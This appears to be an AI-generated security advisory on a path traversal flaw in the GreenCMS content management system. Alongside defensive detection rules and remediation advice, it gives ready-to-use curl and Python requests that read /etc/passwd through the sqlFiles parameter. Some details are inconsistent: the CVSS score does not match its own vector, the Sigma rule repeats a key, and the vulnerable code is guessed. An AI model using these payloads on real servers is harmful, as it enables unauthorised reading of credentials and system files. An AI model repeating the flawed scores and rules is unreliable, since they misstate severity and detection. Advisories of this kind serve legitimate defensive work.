CVE-2025-15187

Executive Summary

CVE-2025-15187 is a path traversal vulnerability in GreenCMS, an open-source content management system, affecting versions up to and including 2.3. The flaw resides in the /DataController.class.php file, specifically within the file handler component. By manipulating the sqlFiles or zipFiles arguments, an unauthenticated remote attacker can traverse directories outside the intended scope, potentially reading arbitrary files from the server. The exploit has been publicly disclosed, and the product is no longer supported by the maintainer, meaning no official patch will be released. The CVSS score is 3.8 (Low), but the lack of authentication requirements and public exploit code elevate the risk for any remaining installations.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the GreenCMS PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 3.8 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited file read access is possible.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low (CVSS 3.8), but elevated due to public exploit and end-of-life status.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the DataController.class.php file. The application fails to properly sanitize user-supplied input for the sqlFiles and zipFiles parameters. When the file handler processes these parameters, it constructs file paths without validating that the resulting path remains within the intended directory.

Technical Breakdown:

1. The DataController.class.php handles file operations for SQL and ZIP files.
2. The sqlFiles and zipFiles parameters are passed directly to file system functions (e.g., file_get_contents, fopen, or similar).
3. An attacker can inject path traversal sequences (e.g., ../) to escape the designated directory.
4. This allows reading arbitrary files on the server, such as configuration files containing database credentials, application secrets, or system files like /etc/passwd.

Example Attack Vector:

GET /index.php?controller=Data&action=download&sqlFiles=../../../etc/passwd HTTP/1.1
Host: target.com

The application would then attempt to read /etc/passwd and return its contents.

Vulnerable vs. Patched Code

Since GreenCMS 2.3 is the last version and no patch exists, there is no patched code to compare. The vulnerable code likely resembles:

Vulnerable Code (Conceptual):

// DataController.class.php
public function downloadAction() {
    $file = $_GET['sqlFiles'];
    $path = '/var/www/uploads/' . $file;
    // No validation of $path
    readfile($path);
}

Patched Code (Hypothetical):

// DataController.class.php
public function downloadAction() {
    $file = basename($_GET['sqlFiles']); // Remove path components
    $path = '/var/www/uploads/' . $file;
    if (strpos(realpath($path), '/var/www/uploads/') !== 0) {
        die('Invalid path');
    }
    readfile($path);
}

The fix would involve using basename() to strip directory components and verifying the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running GreenCMS <= 2.3.
• Network access to the web server.

Exploitation Steps:

1. Identify the vulnerable endpoint: /index.php?controller=Data&action=download
2. Craft a request with path traversal in the sqlFiles or zipFiles parameter.
3. Read sensitive files.

Example using cURL:

curl "http://target.com/index.php?controller=Data&action=download&sqlFiles=../../../etc/passwd"

Example using Python:

import requests

url = "http://target.com/index.php"
params = {
    "controller": "Data",
    "action": "download",
    "sqlFiles": "../../../etc/passwd"
}
response = requests.get(url, params=params)
print(response.text)

Expected Output: The contents of /etc/passwd or an error if the file does not exist.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in the sqlFiles or zipFiles parameters.
• Look for unusual file read attempts (e.g., /etc/passwd, /etc/shadow, .env).

Mitigation:

• Since no patch exists, the only mitigation is to decommission or isolate GreenCMS instances.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file system permissions to limit the impact of a successful exploit.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with sqlFiles or zipFiles parameters containing ../ or ..%2f.
  • Outbound connections from the server to unknown IPs (if exfiltration occurs).
• File System IOCs:
  • Unexpected access to files outside the web root (e.g., /etc/passwd).
  • Modified or accessed log files indicating traversal attempts.
• Log IOCs:
  • Web server logs showing GET /index.php?controller=Data&action=download&sqlFiles=../../../etc/passwd or similar.

Detection Engineering

YARA Rule

rule CVE_2025_15187_GreenCMS_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting GreenCMS CVE-2025-15187"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15187"
    strings:
        $traversal1 = "sqlFiles="
        $traversal2 = "zipFiles="
        $path1 = "../"
        $path2 = "..\\"
        $path3 = "%2e%2e%2f"
        $path4 = "%2e%2e\\"
    condition:
        any of ($traversal*) and any of ($path*)
}

Sigma Rule

title: GreenCMS Path Traversal Attempt (CVE-2025-15187)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns in sqlFiles or zipFiles parameters targeting GreenCMS.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'sqlFiles='
            - 'zipFiles='
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15187 GreenCMS Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"sqlFiles="; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Decommission GreenCMS: Since the product is end-of-life and no patch is available, the only secure option is to remove GreenCMS from production environments.
2. Isolate Affected Systems: If decommissioning is not immediately possible, isolate the server from the internet and restrict access to trusted IPs only.
3. WAF Rules: Deploy a Web Application Firewall with rules to block path traversal patterns (e.g., ../, ..%2f).

Long-Term Recommendations:

• Migrate to a supported CMS platform.
• Conduct a full security audit of any remaining GreenCMS installations.
• Implement file integrity monitoring to detect unauthorized file access.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your security team.